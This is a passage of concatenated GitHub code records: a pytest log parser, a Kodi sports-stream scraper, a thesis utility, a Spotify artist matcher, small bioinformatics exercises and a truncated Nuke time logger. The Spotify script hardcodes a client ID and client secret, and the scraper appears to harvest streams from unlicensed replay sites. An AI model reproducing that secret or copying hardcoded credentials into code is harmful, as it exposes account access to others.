(line.startswith(\"_\") or \"ERROR collecting \" in line) and (\"ERROR\" in line or \"[doctest]\" in line) \\\n                    and summary_started:\n                # If the line does not contain \"_\", we need to split differently\n                # E.g.:  ERROR collecting tests/unit/py2/nupic/frameworks/opf/clamodel_classifier_helper_test.py\n                # versus: ____ ERROR collecting tests/integration/py2/nupic/swarming/swarming_test.py ____\n                if line.endswith(\"_\\r\"):\n                    failed_or_errored_test = line.split(\" \")[-2]\n                else:\n                    failed_or_errored_test = line.strip().split(\" \")[-1].strip(\"\\r\")\n\n                if pytest_section == \"error\":\n                    found_num_errored_tests += 1\n                    self.errored_tests.add(failed_or_errored_test)\n                elif pytest_section == \"failure\":\n                    found_num_failed_tests += 1\n                    self.failed_tests.add(failed_or_errored_test)\n                else:\n                    raise Exception(\"No pytest section found!\")\n            # Sometimes the build logs have some grunch before \"___\" stuff, so we need to check for that too\n            elif (line.startswith(\"_\") or (line.startswith(\" \") and \"test\" in line.lower() and not line.startswith(\"  File\"))) \\\n                    and (line.endswith(\"_\\r\") or line.endswith(\" \\r\")) and method_name_of_test is None and summary_started \\\n                    and \" summary \" not in line:\n                matches = re.search(self._test_method_name_pytest_regex, line)\n                if matches is not None and matches.group(1) is not '_':\n                    method_name_of_test = matches.group(1)\n            # sometimes lines with the pattern like: __________________________ test_args[args3-one two can happen\n            elif line.startswith(\"_\") and \"[\" in line and summary_started and \" summary \" not in line:\n                first_part = line.split(\"[\")[0]\n                matches = re.search(self._test_method_name_pytest_special_regex, first_part)\n                if matches is not None and matches.group(1) is not '_':\n                    method_name_of_test = matches.group(1)\n            elif method_name_of_test is not None and \".py\" in line:\n                matches = re.search(self._test_name_pytest_regex, line)\n\n                if matches is not None:\n                    test_name = matches.group(1).replace('/', '.')[0:-3].lstrip('.')+\".\"+method_name_of_test\n                    if pytest_section == \"error\":\n                        found_num_errored_tests += 1\n                        self.errored_tests.add(test_name)\n                    elif pytest_section == \"failure\":\n                        found_num_failed_tests += 1\n                        self.failed_tests.add(test_name)\n                    else:\n                        raise Exception(\"No pytest section found!\")\n                    method_name_of_test = None\n            elif re.search(self._test_name_errored_test_unittest_regex, line):\n                parts = line.split(\" \")\n                self.errored_tests.add(parts[1].split(\")\")[0].strip(\"(\") + \".\" + parts[0])\n            elif re.search(self._test_name_failed_test_unittest_regex, line):\n                parts = line.split(\" \")\n                self.failed_tests.add(parts[1].split(\")\")[0].strip(\"(\")+\".\"+parts[0])\n            # It can happen that people are using pytest sugar. But, we have the problem then that\n            # it completely changes the whole look and feel and therefore the parsing of the log.\n            # E.g., we can not tell if a test was erroneous or a failure, therefore we just store it as failure\n            elif \"Results (\" in line:\n                sugar_summary_started = True\n                self.test_framework = \"pytest-sugar\"\n            elif \"Test session starts\" in line:\n                summary_started = False\n                sugar_summary_started = False\n                started_pytest_sugar_failed_section = False\n                started_pytest_sugar_errored_section = False\n            elif sugar_summary_started and started_pytest_sugar_failed_section and line.strip().startswith(\"-\")\\\n                    and not line.strip().startswith(\"---\"):\n                matches = re.search(self._pytest_sugar_test_name, line)\n                module = matches.group(1)[0:-3].replace(\"/\", \".\")\n                found_num_failed_tests += 1\n                print(line)\n                # If it starts with a dot, we have a full path instead of a correct test\n                if not module.startswith(\".\"):\n                    self.failed_tests.add(module+\".\"+matches.group(2))\n            elif sugar_summary_started and started_pytest_sugar_errored_section and line.strip().startswith(\"-\")\\\n                    and not line.strip().startswith(\"---\"):\n                matches = re.search(self._pytest_sugar_test_name, line)\n                module = matches.group(1)[0:-3].replace(\"/\", \".\")\n                found_num_errored_tests += 1\n                self.errored_tests.add(module+\".\"+matches.group(2))\n            elif sugar_summary_started:\n                self.tests_run_completely = True\n                matches = re.search(self._pytest_sugar_failed_tests, line)\n                if matches is not None and matches.group(1):\n                    started_pytest_sugar_failed_section = True\n                    _parsed_num_failed_tests += int(matches.group(1))\n\n                matches = re.search(self._pytest_sugar_errored_tests, line)\n                if matches is not None and matches.group(1):\n                    started_pytest_sugar_errored_section = True\n                    _parsed_num_errored_tests += int(matches.group(1))\n\n\n        # Sanity Checks. Sometimes, a build is so buggy that we could not parse and errored test\n        # and also the number of errors is no longer correctly countable\n        if self.tests_run_completely and found_num_errored_tests != _parsed_num_errored_tests and \\\n                        len(self.errored_tests) != 0:\n            msg = \"Not all errored tests were found! Parsed: %s; Found: %s\" % (_parsed_num_errored_tests,\n                                                                               found_num_errored_tests)\n            if not self.ignore_errors:\n                raise Exception(msg)\n            else:\n                self.logger.error(msg)\n\n        print(\"FAILED tests: %d, ERRORED tests: %d\" % (_parsed_num_failed_tests, _parsed_num_errored_tests))\n        if self.tests_run_completely and found_num_failed_tests != _parsed_num_failed_tests:\n            msg = \"Not all failed tests were found! Parsed: %s; Found: %s\" % (_parsed_num_failed_tests,\n                                                                              found_num_failed_tests)\n            if not self.ignore_errors:\n                raise Exception(msg)\n            else:\n                self.logger.error(msg)\n\n        self.job.metrics['failed_tests'] = self.failed_tests\n        self.job.metrics['errored_tests'] = self.errored_tests\n        self.job.metrics['test_framework'] = self.test_framework\n        self.job.metrics['tests_run'] = self.tests_run_completely\n","repo_name":"smartshark/travisSHARK","sub_path":"travisshark/parsers/python_build_log_file_parser.py","file_name":"python_build_log_file_parser.py","file_ext":"py","file_size_in_byte":17276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7236872298","text":"#!/usr/bin/python\n\nimport re\nimport urlresolver # Resolves media file from url\nimport commontasks as ct\n\n# Written by: Phantom Raspberry Blower (The PRB)\n# Date: 21-08-2019\n# Description: Web scraper for capturing sports streams\n\n# Enumerate mode values\nclass Mode:\n    MAIN_MENU = 0\n    SUBMAIN_MENU = 1\n    SEASONS_MENU = 2\n    SUB_MENU = 3\n    GET_LINKS = 4\n    GET_STREAMS = 5\n    PLAY_STREAM = 6\n    SEARCH = 7\n\n\n# Define local variables\n__baseurl__ = 'http://fullmatchsports.com/'\n__alturl__ = 'https://fullmatch.net/'\n\nsport_links = {'MotoGP Race': __baseurl__,\n               'Formula 1 Race': __baseurl__,\n               'Full Match Replay': __baseurl__,\n               'MLB': __alturl__,\n               'NBA': __alturl__,\n               'NFL': __alturl__,\n               'UFC': __alturl__}\n\ndef _menus(url, expstart, expend, regexp):\n    resp = ct.get_html(url)\n    content = ct.regex_from_to(resp, expstart, expend)\n    return re.compile(regexp).findall(content)\n\n\ndef main_menu(title):\n    # Shows menu items\n    main_menus = []\n    if (title == 'MotoGP Race') or (title == 'Formula 1 Race'):\n        # Used for F1 and MotoGP\n        menus = _menus(__baseurl__,\n                       '<a title=\"%s\" ' % title,\n                       '</ul></li>',\n                       '<a target=\"_blank\" rel=\"noopener noreferrer\"'\n                       ' href=\"(.+?)\" itemprop=\"url\"><span itemprop='\n                       '\"name\">(.+?)</span></a></li>')\n        for url, title in menus:\n            main_menus.append((url, title, Mode.SUBMAIN_MENU))\n        return main_menus\n    else:\n        # Used for Full Match, MLB, NBA, NFL and UFC\n        return _alt_main_menu(title)\n\n\ndef _alt_main_menu(title):\n    main_menu = []\n    sub_menu = []\n    my_menus =[]\n    mode = Mode.SUBMAIN_MENU\n    if title == 'Full Match Replay':\n        # Full Match streams\n        menus = _menus(__baseurl__,\n                       '<a title=\"' + title + '\" ',\n                       '<li id=\"menu-item-54\"',\n                       '<li id=\"(.+?)\" class=\"(.+?)\"><a(.+?)href=\"#\" '\n                       'itemprop=\"url\"><span itemprop=\"name\">(.+?)</span></a>')\n        nosubmenus = _menus(__baseurl__,\n                       '<a title=\"' + title + '\" ',\n                       '<li id=\"menu-item-54\"',\n                       '<a target=\"_blank\" rel=\"noopener noreferrer\" href='\n                       '\"(.+?)\" itemprop=\"url\"><span itemprop=\"name\">(.+?)</span></a>')\n        for menu_item, clss, url, name in menus:\n            main_menu.append((url, name, Mode.SUBMAIN_MENU))\n        for href, name in nosubmenus:\n            main_menu.append((href, name, Mode.SEASONS_MENU))\n    else:\n        # NBA, NFL, MLB and UFC streams\n        resp = ct.get_html(__alturl__)\n        content = ct.regex_from_to(resp, '<div class=\"cactus-main-menu navigation-font\">', '</div>')\n        match1 = _menus(__alturl__,\n                        '<div class=\"cactus-main-menu navigation-font\">',\n                        '</div>',\n                        'main-menu-item menu-item-depth-0(.+?)</li>')\n        for item in match1:\n            content1 = ct.regex_from_to(item, '<a', '/a')\n            match2 = re.compile('href=\"(.+?)\" class=\"(.+?)>(.+?) <').findall(content1)\n            for href1, junk1, title1 in match2:\n                if '#' in href1:\n                    content2 = ct.regex_from_to(content, title1 + ' <', '</ul>') + '</ul>'\n                    content2 = ct.regex_from_to(content2, '<ul class=\"dropdown-menu menu-depth-1\">', '</li></ul>')\n                    match3 = re.compile('<a target=\"_blank\" href=\"(.+?)\" class=\"(.+?)\">(.+?) </a>').findall(content2)\n                    sub_menu = []\n                    for href2, junk2, title2 in match3:\n                        sub_menu.append({'url': href2, 'title': title2})\n                if (title1 in title) or (title == 'All'):\n                    my_menus.append((href1, title1, sub_menu))\n    for item in my_menus:\n        if item[0] == '#':\n            for title in item[2]:\n                main_menu.append((title['url'], title['title'], Mode.SUB_MENU))\n        else:\n            main_menu.append((item[0], item[1], Mode.GET_STREAMS))\n\n    return main_menu\n\n\ndef seasons(league):\n    seasons = []\n    menus = _menus(__baseurl__,\n                   league + '</span>',\n                   '</ul></li>',\n                   '<li id=\"(.+?)\" class=\"(.+?)\"><a target=\"_blank\" '\n                   'rel=\"noopener noreferrer\" href=\"(.+?)\" itemprop='\n                   '\"url\"><span itemprop=\"name\">(.+?)</span></a></li>')\n    for menu_item, clss, url, name in menus:\n        if url == '#':\n            new_url = __baseurl__\n            new_mode = Mode.MAIN_MENU\n            new_name = ''\n        else:\n            new_url = url\n            new_mode = 2\n            new_name = name\n        seasons.append((new_url + 'page/1', new_name, new_mode))\n    return seasons\n\n\ndef submenu(url, thumb, items_per_page=40, currmode=Mode.SUB_MENU):\n    fmatches = []\n    item = 0\n    nxtmode = currmode + 1\n    if url.find('page/') > 0:\n        pgnumf = url.find('page/') + 5\n        pgnum = int(url[pgnumf:])\n    else:\n      pgnum = 1\n    url = url.replace('page/%d' % pgnum, '')\n    while item < items_per_page:\n        resp = ct.get_html(url + 'page/%d' % pgnum)\n        try:\n            articles = re.compile('<article(.+?)</article>').findall(resp)\n        except:\n            articles = ''\n        if len(articles) > 0:\n            for article in articles:\n                item += 1\n                matches = re.compile('<a href=\"(.+?)\" itemprop=\"url\" title=\"Permalink to: (.+?)\" rel=\"bookmark\">'\n                                     '<img width=\"(.+?)\" height=\"(.+?)\" src=\"(.+?)\" class=\"(.+?)\" alt=\"(.+?)\" '\n                                     'itemprop=\"image\" title=\"(.+?)\" /></a>').findall(article)\n                if matches:\n                    for href, title, imgwidth, imgheight, img, clss, alt, img_title in matches:\n                        title = title.replace('Full Match', '').replace('FULL MATCH', '').replace('Highlights', '').strip()\n                        title = title.replace('  ', '').strip()\n                        fmatches.append((href, title, img, nxtmode))\n                else:\n                    matches = re.compile('<div class=\"picture-content \" data-post-id=\"(.+?)\"> '\n                                         '<a href=\"(.+?)\" target=\"_self\" title=\"(.+?)\"> <img (.+?) '\n                                         'data-src=\"(.+?)\" data-srcset=').findall(article)\n                    for dpi, href, title, junk, img in matches:\n                        title = title.replace('Replay', '').replace('NBA', '').replace('UFC', '')\n                        title = title.replace('  ', ' ').strip()\n                        fmatches.append((href, title, img, nxtmode))\n        else:\n            break\n        pgnum += 1\n    url = url + 'page/%d' % (pgnum - 1)\n    if url.find('page/') > 0:\n        pgnumf = url.find('page/') + 5\n        pgnum = int(url[pgnumf:]) + 1\n        nxtpgurl = url[:pgnumf]\n        nxtpgurl = \"%s%s\" % (nxtpgurl, pgnum)\n        if item < 1 and pagenum <= 1:\n            fmatches.append((url, '[COLOR red]No streams available! :([/COLOR]', thumb, 0))\n        if item >= items_per_page:\n            fmatches.append((nxtpgurl, '[COLOR green]>> Next page[/COLOR]', thumb, currmode))\n        elif pgnum > 3:\n            fmatches.append((url, \"[COLOR orange]That's all folks!!![/COLOR]\", thumb, 0))\n    return fmatches\n\n\ndef get_links(url):\n    linksmenus = []\n    links = _menus(url,\n                   '<div class=\"streaming\"',\n                   '<div class=\"tab-content\"',\n                   '<div class=\"tab-title(.+?)\"><a href=\"(.+?)\">(.+?)</a></div>')\n    for junk, href, title in links:\n        if not ('720p' in title or '/' in title or 'LINKS' in title):\n            title = title.replace(' HD 720p', '').replace(' HD 1080p', '').replace('HD', '').replace(' 1080p', '').replace('BTSport', '').replace('&#8211;', '')\n            linksmenus.append((href, title))\n    return linksmenus\n\n\ndef get_streams(url):\n    new_url = ''\n    streams = []\n    format_text = {'1080P': '([COLOR orange]1080[/COLOR])',\n                   '720P': '([COLOR orange]720[/COLOR])',\n                   '480P': '([COLOR orange]480[/COLOR])',\n                   '360P': '([COLOR orange]360[/COLOR])',\n                   ' NA': '([COLOR red]No longer available![/COLOR])',\n                   'NA': ' ([COLOR red]No longer available![/COLOR])',\n                   '  ': ' '}\n    resp = ct.get_html(url)\n    try:\n        resp = ct.regex_from_to(resp, '<div class=\"tab-content\">', '</div>')\n        matches = re.compile('<iframe src=\"(.+?)\"').findall(resp)\n        new_url = 'https:' + str(matches[0])\n        resp = ct.get_html(new_url)\n    except:\n        try:\n            resp = ct.regex_from_to(resp, '<div id=\"player-embed\">', '</div>')\n            matches = re.compile('<iframe (.+?) src=\"(.+?)\"').findall(resp)\n            resp = ct.get_html(matches[0][1])\n            link = resp\n        except:\n            ct.notification('No Streams!',\n                                     '[COLOR red]No streams available! :([/COLOR]',\n                                     ct.xbmcgui.NOTIFICATION_INFO, 5000)\n            return streams\n\n    if 'JuicyCodes.Run' in resp:\n        resp = ct.regex_from_to(resp, 'JuicyCodes.Run(', ');</script>')\n        resp = 'JuicyCodes.Run%s)' % resp\n        resp = ct.unjuice(resp)\n        resp = ct.regex_from_to(resp, 'sources:', ',tracks:')\n        matches = re.compile('{\"file\":\"(.+?)\",\"label\":\"(.+?)\",\"type\":\"(.+?)\"}').findall(resp)\n        for url, label, stype in matches:\n            for item in format_text:\n                label = label.replace(item, format_text[item])\n            streams.append((url, label))\n    else:\n        try:\n            matches = re.compile(\"file:'(.+?)',type:\").findall(resp)\n            for item in matches:\n                streams.append((item, \"Label\"))\n        except:\n            streams.append((matches[0][1], \"Test\"))\n    return streams\n\n\ndef play_stream(name, url, thumb):\n    sources = []\n    label = name\n    format_text = [' ([COLOR orange]',\n                   '[/COLOR])',\n                   '1080',\n                   '720',\n                   '480',\n                   '360']\n\n    hosted_media = urlresolver.HostedMediaFile(url=url,title=name)\n    sources.append(hosted_media)\n    source = urlresolver.choose_source(sources)\n    for item in format_text:\n        name = name.replace(item, '')\n    if source:\n        vidlink = source.resolve()\n        ct.play(name, vidlink, thumb)\n    else:\n        ct.play(name, url, thumb)\n\n\ndef quote_plus(text):\n    resp = ct.quote_plus(text)\n    return resp\n\n\ndef unquote_plus(text):\n    resp = ct.unquote_plus(text)\n    return resp\n\n\ndef unquote(text):\n    resp = ct.urllib.unquote(text)\n    return resp\n\n","repo_name":"PhantomRaspberryBlower/repository.prb-entertainment-pack","sub_path":"script.module.sportsreplay/lib/sportsreplay.py","file_name":"sportsreplay.py","file_ext":"py","file_size_in_byte":10864,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"}
{"seq_id":"32984215446","text":"import subprocess\nimport os\nimport configobj\nfrom collections import namedtuple\nfrom importlib import import_module\nimport shutil\n\n\ndef merge(a, b, path=None):\n    \"\"\"\"merges b into a (https://stackoverflow.com/a/7205107)\"\"\"\n    if path is None: path = []\n    for key in b:\n        if key in a:\n            if isinstance(a[key], dict) and isinstance(b[key], dict):\n                merge(a[key], b[key], path + [str(key)])\n            elif a[key] == b[key]:\n                pass  # same leaf value\n            else:\n                a[key] = b[key]\n                #raise Exception('Conflict at %s' % '.'.join(path + [str(key)]))\n        else:\n            a[key] = b[key]\n    return a\n\n\ndef call(cmd):\n    subprocess.call(cmd.split(' '))\n\n\ndef config_get(config_filename='pcigale.ini'):\n    return configobj.ConfigObj(config_filename, encoding='UTF8')\n\n\ndef config_update(*props, config_filename='pcigale.ini'):\n    \"\"\"Update the pcigale config file (usually pcigale.ini). The properties are merged\"\"\"\n    config = config_get(config_filename)\n    for i in range(len(props)):\n        merge(config, props[i])\n    config.write()\n\n\n\"\"\"\nContext is a namedtuble where .vars is the variables of vars directory (referer from the target)\nand .owd means \"old working directory\", that is the previous directory. This object is used as\nwith context(dir,target) as ctx:\n    pass\n\"\"\"\n#Context = namedtuple('Context', 'vars,owd,path,target,makedir,init')\nclass Context:\n    def __init__(self, vars, owd, path, target, makedir, init):\n        self.vars = vars; self.owd = owd; self.path = path; self.target = target\n        self.makedir = makedir; self.init = init\n\n    def using(self, path, target=False, makedir=True, init=False):\n        return context(\n            path,\n            target if target else self.target,\n            makedir if makedir else self.makedir,\n            init if init else self.init\n        )\n\n\nclass context:\n    def __init__(self, path, target, makedir=True, init=False):\n        self.path = os.path.abspath(path)\n        self.target = target\n        self.makedir = makedir\n        self.init = init\n\n    def __enter__(self):\n        self.owd = os.getcwd() # old work directory\n        vars = import_module(f'msc_thesis.vars.{self.target}')\n        if self.init:\n            shutil.rmtree(self.path, ignore_errors=True)\n        if self.makedir:\n            os.makedirs(self.path, exist_ok=True)\n        os.chdir(self.path)\n        return Context(vars, self.owd, self.path, self.target, self.makedir, self.init)\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        os.chdir(self.owd)\n\n","repo_name":"rgcl/msc_thesis","sub_path":"msc_thesis/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37551803166","text":"import spotipy\nimport sys\nimport spotipy.oauth2 as auth\n\n\n#Used for authorization to access Spotify data\ncredentials = auth.SpotifyClientCredentials(\n    client_id='820c2da1dd414d2aa6297a30155c8629',\n    client_secret='781e6e261f3e468d8395f7b93239792b'\n)\ntoken = credentials.get_access_token()\nsp = spotipy.Spotify(auth=token)\n\ndef recommend_artists():\n    #Takes in the user's two favorite bands\n    band1_input, band2_input, band3_input = input(\"Please enter three artists, separated by a comma and space: \").split(\", \")\n\n    #Loads spotify search info based on input, and takes the first band result as the band1 info.\n    band1_spotify_search_info = sp.search(q='artist:' + band1_input, type='artist')\n    band1_list_info = band1_spotify_search_info['artists']['items']\n    band1 = band1_list_info[0]\n\n    #Using the band1 info, loads the top 10 related artists info into band1_related_artists\n    band1_related_artists_search_info = sp.artist_related_artists(band1['uri'])\n    band1_related_artists = band1_related_artists_search_info['artists']\n\n\n    band2_spotify_search_info = sp.search(q='artist:' + band2_input, type='artist')\n    band2_list_info = band2_spotify_search_info['artists']['items']\n    band2 = band2_list_info[0]\n\n    band2_related_artists_search_info = sp.artist_related_artists(band2['uri'])\n    band2_related_artists = band2_related_artists_search_info['artists']\n\n\n    band3_spotify_search_info = sp.search(q='artist:' + band3_input, type='artist')\n    band3_list_info = band3_spotify_search_info['artists']['items']\n    band3 = band3_list_info[0]\n\n    band3_related_artists_search_info = sp.artist_related_artists(band3['uri'])\n    band3_related_artists = band3_related_artists_search_info['artists']\n    print (\"\")\n\n\n    #Tests to see if there are any matches - if it finds one, it breaks the loop\n    bool_test = False\n    for a in band2_related_artists:\n        for b in band1_related_artists:\n            for c in band3_related_artists:\n                if (a['name'] == b['name'] == c['name']):\n                    bool_test = True\n                    break\n\n    #Goes through band2_related_artists and band1_related_artists and prints the matches, if any\n    count = 0\n    if (bool_test == True):\n        print (\"Here are similar bands to\", band1_input, \",\", band2_input, \"and\", band3_input, \":\")\n        for a in band2_related_artists:\n            for b in band1_related_artists:\n                for c in band3_related_artists:\n                    if (a['name'] == b['name'] == c['name']):\n                        count = count + 1\n                        print (count, a['name'])\n    else:\n        print (\"Unfortunately, there were no similar artists between\", band1_input + \",\", band2_input, \"and\", band3_input)\n\ndef main_menu():\n    choice = input(\"If you want to find a new artist to listen to, press 1! \")\n    if choice == '1':\n        recommend_artists()\n    else:\n        quit\n\nmain_menu()","repo_name":"marc-p-greenfield/artist_match","sub_path":"artist_match.py","file_name":"artist_match.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11962433133","text":"def proteins(strand):\n    strand = list(strand)\n    codons = list()\n    sequence = list()\n    stop = [\"UAA\", \"UAG\", \"UGA\"]\n    translated = set()\n\n    while len(strand) > 0:\n        # adiciona a codons os primeiros 3 itens de strand\n        codons.append(strand[:3])\n        strand = strand[3:]  # remove da lista os primeiros 3 itens\n\n    for base in codons:  # para cada lista na lista codons\n        base = \"\".join(map(str, base))  # transforma base em uma string\n        sequence.append(base)  # adiciona a nova string à lista 'sequence'\n\n    # sequence --> ['AUG', 'UUU', 'UCU', 'UAA', 'AUG']\n\n    aminoacids = {\n        \"Methionine\": [\"AUG\"],\n        \"Phenylalanine\": [\"UUU\", \"UUC\"],\n        \"Leucine\": [\"UUA\", \"UUG\"],\n        \"Serine\": [\"UCU\", \"UCC\", \"UCA\", \"UCG\"],\n        \"Cysteine\": [\"UGU\", \"UGC\"],\n        \"Tryptophan\": [\"UGG\"],\n    }\n\n    for key, value in aminoacids.items():\n        for v in value:\n            for s in sequence:\n                for st in stop:\n                    if s == v:\n                        translated.add(key)\n                    if st == s:\n                        break\n    return print(translated)\n\n\n# proteins(\"AUGUUUUCUUAAAUG\")\n# proteins(\"AUGUUUUCU\")\nproteins(\"UAAAUG\")","repo_name":"divertimentos/exercism","sub_path":"python-track/protein-translation/protein_translation.py","file_name":"protein_translation.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"34409931683","text":"import argparse\n\nparser = argparse.ArgumentParser(\n    description=\"Write sequences as text input for the two sequences to compare.\")\nparser.add_argument('--Sequence_1', '-s1', type=str, \n                    metavar='', required=True, \n                    help='Type in sequence - not FASTA just raw bases.')\nparser.add_argument('--Sequence_2', '-s2', type=str, \n                    metavar='', required=True, \n                    help='Type in sequence - not FASTA just raw bases.')\nparser.add_argument('-F', '--FileMode', \n                    action='store_true', required=False,\n                    help='Set file mode to take .txt files')\nargs = parser.parse_args()\n\ndef Hamming_calc(input1, input2):\n    Hamming_distance = 0 #Tracks the number of differences.\n    loop = 0 #use as a counter to work out which position to compare.\n    try:\n        for i in input1:\n            if i != input2[loop]:\n                Hamming_distance += 1\n                loop += 1\n            else:\n                loop += 1\n#This for loop compares the two strings at position loop.\n#and if not the same adds to hamming_distance otherwise continue.\n    except Exception as e:\n        print(\"Error with input, try writing the sequence as raw bases e.g AACGAATT\")\n\n    else: print(f'The Hamming distance is {Hamming_distance}') #f-string to print results\n\nif __name__ == '__main__':\n    if args.FileMode:\n        with open(args.Sequence_1) as f:\n            seq1 = f.read().replace('\\n', '')\n            print(seq1)\n        with open(args.Sequence_2) as f:\n            seq2 = f.read().replace('\\n', '')\n            print(seq2)\n        Hamming_calc(seq1, seq2)\n    else:\n        print(args.Sequence_1)\n        print(args.Sequence_2)\n        Hamming_calc(args.Sequence_1, args.Sequence_2)\n","repo_name":"eastgenomics/code_school","sub_path":"hamming_distance/hamming_distance_rob.py","file_name":"hamming_distance_rob.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"17832690918","text":"import os\nimport threading\nimport getpass\nimport datetime\nimport json\nimport re\nimport nuke\nimport time\n\nCURRENT_USER = getpass.getuser()\n# TESTING_FILE = '/Volumes/Dettifoss/nuke_dev/shotclock/shot_clock_v01.nk'\n# LOG_IN_PROJECT_DIR = True\nLOG_IN_USER_LOGS = False\nUSER_LOGS = '/Volumes/panda/Dropbox (Personal)/_Library/nuke/_logs/'\nTIMER = 60\nIDLE_TIME = 180\nUSE_VIEWER_NODE = False\n\nGAME = True\n\nTHEME = 'animals' # \"animals\", \"objects\", \"all\"\nACHIEVEMENT_SCORE = [0,1,2,5,10,15,30,60,120,240,480,600,720,960,1440,2880,5760,7200,10080,13440,20160,40320]\nif THEME == 'animals':\n    ACHIEVEMENTS = ['🐣','🐥','🐸','🐷','🐮','🐹','🐰','🐶','🐨','🐵','🐼','🐻','🦊','🐙','🦉','💀','👹','👿','👽','🦁','🐯','🐲']\nelif THEME == 'objects':\n    ACHIEVEMENTS = ['🍼','🎈','🔫','🏓','🌮','🌈','🍯','🌊','🌋','🍺','🍩','🎁','🎩','🍷','☕','☔','🦄','🎥','🦖','🧘','🧟','👑']\nelif THEME == 'all':\n    ACHIEVEMENTS = 127752 # where the emojis start\n\n\nclass Timekeeper():\n    def __init__(self):\n        self.start_thread()\n    \n    def start_thread(self):\n        Timekeeper.thread = threading.Timer(TIMER, self.this_loop)\n        Timekeeper.thread.setDaemon(True)\n        Timekeeper.thread.start()\n\n    def this_loop(self):\n        logger.update_session()\n        self.start_thread()\n\nclass viewer_updater():\n    def __init__(self):\n        pass\nclass Logger():\n    '''this class does things like check for files, create files, save files\n    it can also get datestamps of files'''\n\n    def __init__(self):\n        '''\n        self.script_file\n        self.project_path\n        self.comp_name\n        self.shot_name\n        self.log_name\n        self.log_path\n        self.log_data : json dump of log file\n        self.id : unqiue session id = to start time\n        self.all_sessions : how many sessions\n        self.all_work : minutes of work\n        self.all_idle : minutes idling\n        self.idling : boolean\n        '''\n        self.initialized = False\n        self.startup_time = self.now()\n        self.id = self.startup_time\n        self.idling = False\n        self.error_flagged = False\n        # self.comp_name = ''\n        # self.script_file = ''\n        # self.log_in_project_dir = log_in_project_dir\n        # self.log_in_user_logs = log_in_user_logs\n        # self.user_log_dir = user_log_dir\n        \n    def blur_test(self):\n        nuke.createNode(\"Blur\")\n        print(\"I created a blur\")\n\n    def now(self):\n        return (datetime.datetime.now().isoformat())\n    \n    def logit(self):\n        ''' This is the method that is called when a Nuke project is loaded'''\n        # print(\"load method activated\")\n        self.project_path = self.get_project_path()\n        self.extract_data_from_path()\n        self.user = getpass.getuser()\n        if not self.check_for_log():\n            print(f\"Timelog not found. creating one\")\n            self.create_log()\n        else:\n            self.load_log()\n        if not self.get_session_index():\n            self.create_new_session()\n            self.get_session_index()\n        self.initialized = True\n        self.recently_saved = True\n        self.update_session()\n            \n    def check_for_log(self):\n        if os.path.isfile(self.log_path):\n            # print(\"found log and loadin it\")\n            return True\n        else:\n            # print(f\"no log found at {self.log_path}\")\n            return False\n    \n    def load_log(self):\n        with open(self.log_path, 'r') as _log:\n            self.log_data = json.load(_log)\n\n    def save_log(self):\n        try:\n            with open(self.log_path, 'w+') as _log:\n                json.dump(self.log_data, _log, indent=4 )\n        except:\n            print (\"Timelog not saved\")\n        if LOG_IN_USER_LOGS:\n            try:\n                with open(USER_LOGS+self.log_name, 'w+') as _log:\n                    json.dump(self.log_data, _log, indent=4 )\n            except:\n                print(\"User timelog not saved. Is your path correct?\")\n    \n    def get_project_path(self):\n        '''Checks to see if the path to nk file exists '''\n        self.script_file = nuke.root()['name'].value() # get value from nuke\n        return True\n\n    def extract_data_from_path(self):\n\n        # the comp name and the project path\n        self.project_path, self.comp_name = os.path.split(self.script_file)\n        #normalize the project path then split it out\n        split_path = os.path.normpath(self.script_file).split(os.path.sep)\n        #print (split_path)\n        self.shot_name = split_path[-3] # Change this setting to change where it gets shot name from\n        self.project_name = split_path[-4] # Change this setting to change where it gets project name from\n        self.log_name = f'{self.project_name}_{self.shot_name}_log.json'\n        self.log_path = os.path.join(self.project_path, self.log_name)\n        return True\n        \n    def last_saved(self):\n        modification_time = (os.stat(f'{self.script_file}.autosave').st_mtime)\n        return modification_time\n\n    def create_log(self):\n        # if it has to create the log then start the session\n        header = { \n                \"header\" : {\n                    \"project_name\" : str(self.project_name),\n                    \"shot\" : str(self.shot_name),\n                    \"directory\" : str(self.project_path),\n                    \"number_of_sessions\" : 0,\n                    \"shot_clock\" : 0,\n                    \"work_time\" : 0,\n                    \"idle_time\" : 0 \n                    },\n                \"sessions\" :[]\n                }\n\n        self.log_data = header\n        return\n\n    def create_new_session(self):\n        #print(\"creating new session\")\n        new_session = {\n            \"filename\" : str(self.comp_name),\n            \"artist\" : getpass.getuser(), # gets current user\n            \"start_time\" : self.id,\n            \"notes\" : [],\n            \"idle_time\" : 0,\n            \"end_time\" :  self.now(),\n            \"status\" : \"\"\n            }\n        #print (new_session)\n        self.log_data['sessions'].append(new_session)\n        self.save_log()\n\n    def update_session(self):\n        if self.initialized:\n            if self.check_for_log():\n\n                self.load_log()\n                if self.recently_saved == True:\n                    self.log_data['sessions'][self.session_index]['status'] = 'saved'\n                    self.recently_saved = False\n                else:\n                    self.log_data['sessions'][self.session_index]['status'] = 'unsaved'\n                self.log_data['sessions'][self.session_index]['end_time'] = self.now()\n                if self.calculate_idle_time() > IDLE_TIME:\n                    self.log_data['sessions'][self.session_index]['idle_time'] += TIMER\n                    self.idling = True\n                else:\n                    self.idling = False\n                self.calculate_stats()\n                self.log_data['header']['shot_clock'] = str(datetime.timedelta(seconds=self.all_sessions))      \n                self.log_data['header']['work_time'] = str(datetime.timedelta(seconds=self.all_work))\n                self.log_data['header']['idle_time'] = str(datetime.timedelta(seconds=self.all_idle))\n                self.save_log()\n\n                return\n            else:\n                print(\"No log yet. Are you saved\")\n                return \n        else:\n            if not self.error_flagged:\n                #print(\"Project not loaded or saved so there is not log\")\n                pass\n\n    def get_session_index(self):\n        for session_index in range(len(self.log_data['sessions'])):\n            # print (f\"session index = {session_index}, is {self.log_data['sessions'][session_index]['start_time']} but id is {self.id}\")\n            if 